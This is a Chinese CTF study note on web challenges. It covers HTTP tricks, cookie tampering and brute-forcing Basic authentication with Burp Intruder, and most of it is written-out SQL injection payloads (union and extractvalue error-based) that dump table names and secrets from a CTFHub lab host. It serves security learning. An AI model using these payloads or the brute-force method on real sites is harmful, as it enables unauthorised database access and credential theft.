Web 类题目涉及常见的 Web 漏洞,包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等
考察内容:
- Web开发能力以及语言特性
- 对框架安全的熟悉程度
- 各类Web攻击技巧、各种编码方式与加解密
解题思路:
- 信息探测。找出一支信息,如源码、框架信息、服务信息等
- 根据已知信息判断漏洞产生点以及漏洞类型
- 分析漏洞,构造攻击流程,完成攻击得到flag
OWASP:http://www.owasp.org.cn/owasp-project
HTTP
请求方式
【例】题目如下图
在 Burp Suite Repeater
中修改请求方式并重新发送,发现 flag
也可以使用 curl -X
参数
302跳转
【例】题目如下图
点击 Give me Flag 会访问 /index.php
,但是会302跳转到 /index.html
使用 Burp Suite Repeater
或者 curl
直接请求 /index.php
,可以发现 flag
Cookie
【例】题目如下
发现请求中包含 Cookie: admin=0
改成 Cookie: admin=1 重新发送,发现 flag
基础认证
【例】题目如图,另外还有一个密码字典
点击 click,会访问 /flag.html
并出现用户名密码验证对话框
随便输个账号密码,比如用户名abc,密码123,查看 HTTP 报文Authorization: Basic YWJjOjEyMw==
用 base64 解密 YWJjOjEyMw==
后是 abc:123
,刚好是 用户名:密码
提示“Do u know admin”,猜想用户名是 admin,开始使用密码字典爆破
将报文发送到 Burp Suite Intruder
,将 Authorization
里面 base64
部分添加为 payload position
,
在 Payloads
选项卡里添加密码表和爆破规则
开始爆破,出现状态码 200 即为爆破成功
源代码
【例】题目如下,是个贪食蛇游戏
查看源代码,发现 flag
SQL 注入
https://www.yuque.com/_awake/ri1fuk/bi8mvg
整数型注入
检查是否存在注入
and 1=1 #返回正确
and 1=2 #返回错误
猜字段数(x为数字) 得出字段数
order by x
爆数据库名
?id=1 and 1=2 union select 1,database()
得到数据库名称sqli
爆表名
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’
得到表名 news,flag
爆列名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’
得到字段名flag
获得flag
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
字符型注入
字符型注入要考虑到 引号闭合 和 注释
判断注入
?id=1' and 1=1 --+ 返回正确
?id=1' and 1=2 --+ 返回错误
猜字段
?id=1' order by 2 --+ 返回正确
?id=1' order by 3 --+ 返回错误
得出字段数为 2
测试空格字符代替情况 (可跳过)
?id=1' order by 2 -- - 返回正确
?id=1' order by 2 -- / 返回正确
爆数据库名
?id=1' and 1=2 union select 1,database()--+
得到数据库名 sqli
爆表名
?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+
爆列名
?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
爆字段内容
?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+
UNION 注入
报错型注入
尝试报错函数发现可以用extractvalue(),错误信息能够显示当前使用的数据库名称为sqli
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))—+
爆表名
获取表名,推断flag表有我们想要的东西
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))—+
爆列名
获取列名,flag表的flag字段或许就是我们的目标了
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’flag’),0x7e))—+
爆数据
初次尝试,发现显示结果不全,推测此题对回显长度有限制
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))—+
方法一:MID函数
MID()函数用于从文本字段中提取字符。 SELECT MID(column_name,start[,length]) FROM table_name;
参数 描述
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
提取查询结果前16个字符
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),1,16),0x7e))—+
提取剩余字符
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,concat(0x7e,mid((select flag from flag),17),0x7e))—+
拼接得到flag
方法二:直接select
取巧的方法
http://challenge-15c1298fcd91ebd0.sandbox.ctfhub.com:10080/
?id=1 and extractvalue(1,(select flag from flag))—+
布尔盲注
时间盲注
工具
Burp Suite
sqlmap
dirsearch - 网站目录扫描
https://github.com/maurosoria/dirsearch
用法:dirsearch -u https://xxx.com -e *
nmap
hackbar
kali